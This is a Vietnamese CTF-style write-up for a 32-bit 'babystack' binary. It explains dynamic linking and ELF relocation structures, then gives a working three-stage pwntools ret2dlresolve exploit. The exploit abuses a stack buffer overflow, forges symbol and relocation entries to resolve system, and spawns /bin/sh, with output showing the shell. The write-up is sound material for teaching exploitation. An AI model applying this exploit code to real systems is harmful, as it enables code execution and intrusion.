BABYSTACK

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/babystack$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=66ff0454b989a28c2288adfaa8a2e874b26f5b48, not s
tripped
```

- Sử dụng dynamically linked → dựa vào thư viện của hệ thống (libc) để call phần lớn các function.

```
0804840b 55              PUSH    EBP
0804840c 89 e5           MOV     EBP,ESP
0804840e 83 ec 28        SUB     ESP,0x28
08048411 83 ec 04        SUB     ESP,0x4
08048414 68 00 02        PUSH    0x200
         00 00
08048419 8d 45 d8        LEA     EAX=>local_2c,[EBP + -0x28]
0804841c 50              PUSH    EAX
0804841d 6a 00           PUSH    0x0
0804841f e8 bc fe        CALL    <EXTERNAL>::read
         ff ff
08048424 83 c4 10        ADD     ESP,0x10
08048427 90              NOP
08048428 c9              LEAVE
08048429 c3              RET
```

- Khi đó thay vì call trực tiếp đến địa chỉ hàm, ta sẽ call đến _dl_runtime_resolve(), một hàm được load vào trong lúc thực thi để tìm địa chỉ hàm trong libc (ví dụ như hàm read trong ảnh dưới)

```
► 0x80482e0  <read@plt>                jmp    dword ptr [read@got.plt]      <0x804a00c>

  0x80482e6  <read@plt+6>              push   0
  0x80482eb  <read@plt+11>             jmp    0x80482d0                     <0x80482d0>
   ↓
  0x80482d0                            push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
  0x80482d6                            jmp    dword ptr [0x804a008]         <_dl_runtime_resolve>
   ↓
  0xf7fe7ad0 <_dl_runtime_resolve>     endbr32
  0xf7fe7ad4 <_dl_runtime_resolve+4>   push   eax
  0xf7fe7ad5 <_dl_runtime_resolve+5>   push   ecx
  0xf7fe7ad6 <_dl_runtime_resolve+6>   push   edx
  0xf7fe7ad7 <_dl_runtime_resolve+7>   mov    edx, dword ptr [esp + 0x10]
  0xf7fe7adb <_dl_runtime_resolve+11>  mov    eax, dword ptr [esp + 0xc]
```

- Ngoài ra, có bug BOF ở hàm read.

→ Sử dụng ret2dlresolved

.dynamic section của file ELF

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/babystack$ readelf -d ./pwn

Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482a8
 0x0000000d (FINI)                       0x80484b4
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804821c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      74 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   16 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048298
 0x00000011 (REL)                        0x8048290
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048270
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048266
 0x00000000 (NULL)                       0x0
```

Cấu trúc của JMPREL:

```
typedef uint32_t Elf32_Addr ;
typedef uint32_t Elf32_Word ;
typedef struct
{
    Elf32_Addr r_offset ; /* Address */
    Elf32_Word r_info ; /* Relocation type and symbol index */
} Elf32_Rel ;
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
```

Cấu trúc của SYMTAB:

```
typedef struct
{
    Elf32_Word st_name ; /* Symbol name (string tbl index) */
    Elf32_Addr st_value ; /* Symbol value */
    Elf32_Word st_size ; /* Symbol size */
    unsigned char st_info ; /* Symbol type and binding */
    unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
    Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;
```

Ta sẽ thực hiện 3 bước như sau:

- Bước 1: Sử dụng BOF ở read để tạo ra một hàm read fake các entries, sau đó quay lại hàm fun để tiếp tục khai thác lỗi BOF

```
STRTAB, SYMTAB, JMPREL = map(elf.dynamic_value_by_tag, ["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])

buf = 0x804aaa0     #controllable area (.bss), align to 16

#Step 1
sym_offset = buf + (SYMTAB & 0xf) #align to 16 with SYMTAB offset
payload2_size = 39

payload1 = b"A" * (0x28 + 0x4)          # bytes enough to BOF
payload1 += p32(elf.symbols['read'])    # return to read after BOF
payload1 += p32(elf.symbols['fun'])     # return to fun after read call
payload1 += p32(0)                      # stdin
payload1 += p32(sym_offset)             # scan into new fake sym_offset
payload1 += p32(payload2_size)          # how many datas to scan

p.sendline(payload1)
```

- Bước 2: Write các fake entries qua hàm read được tạo qua bước 1

```
#Step 2
rel_offset = sym_offset + 0x10
symname_offset = rel_offset + 0x8
binsh_offset = symname_offset + 0x7

st_name = symname_offset - STRTAB
sym_struct = p32(st_name) + p32(0) + p32(0) + p32(0x12)

r_offset = buf + 0x50
index_sym = (sym_offset - SYMTAB) >> 4
r_info = (index_sym << 8) | 0x7
rel_struct = p32(r_offset) + p32(r_info)

payload2 = b"" + sym_struct         # fake sym
payload2 += rel_struct              # fake rel
payload2 += b'system\0'             # fake symname
payload2 += b'/bin/sh\0'            # binsh

p.send(payload2)
```

- Bước 3: Sử dụng BOF để call đến _dl_runtime_resolved sử dụng argument fake reloc_arg đã tạo

```python
#Step 3
resolve_offset = 0x80482eb
rel_plt_offset = rel_offset - JMPREL

payload3 = b'A' * (0x28 + 0x4)      # bytes enough to BOF
payload3 += p32(resolve_offset)     # _dl_runtime_resolve after BOF
payload3 += p32(rel_plt_offset)     # .rel.plt offset
payload3 += p32(0xdeadbeef)         # Next return address, dont need care
payload3 += p32(binsh_offset)       # address of "bin/sh"

p.sendline(payload3)
p.interactive()
```

Truy cập thành công vào bin/sh

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/babystack$ python3 sol.py
[*] '/home/huynq/Documents/exploit-train/exploit/babystack/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/huynq/Documents/exploit-train/exploit/babystack/pwn': pid 52329
[*] Switching to interactive mode
$ ls
Capture.PNG  ex.py  peda-session-pwn.txt  pwn  sol.py  sol.txt
$
```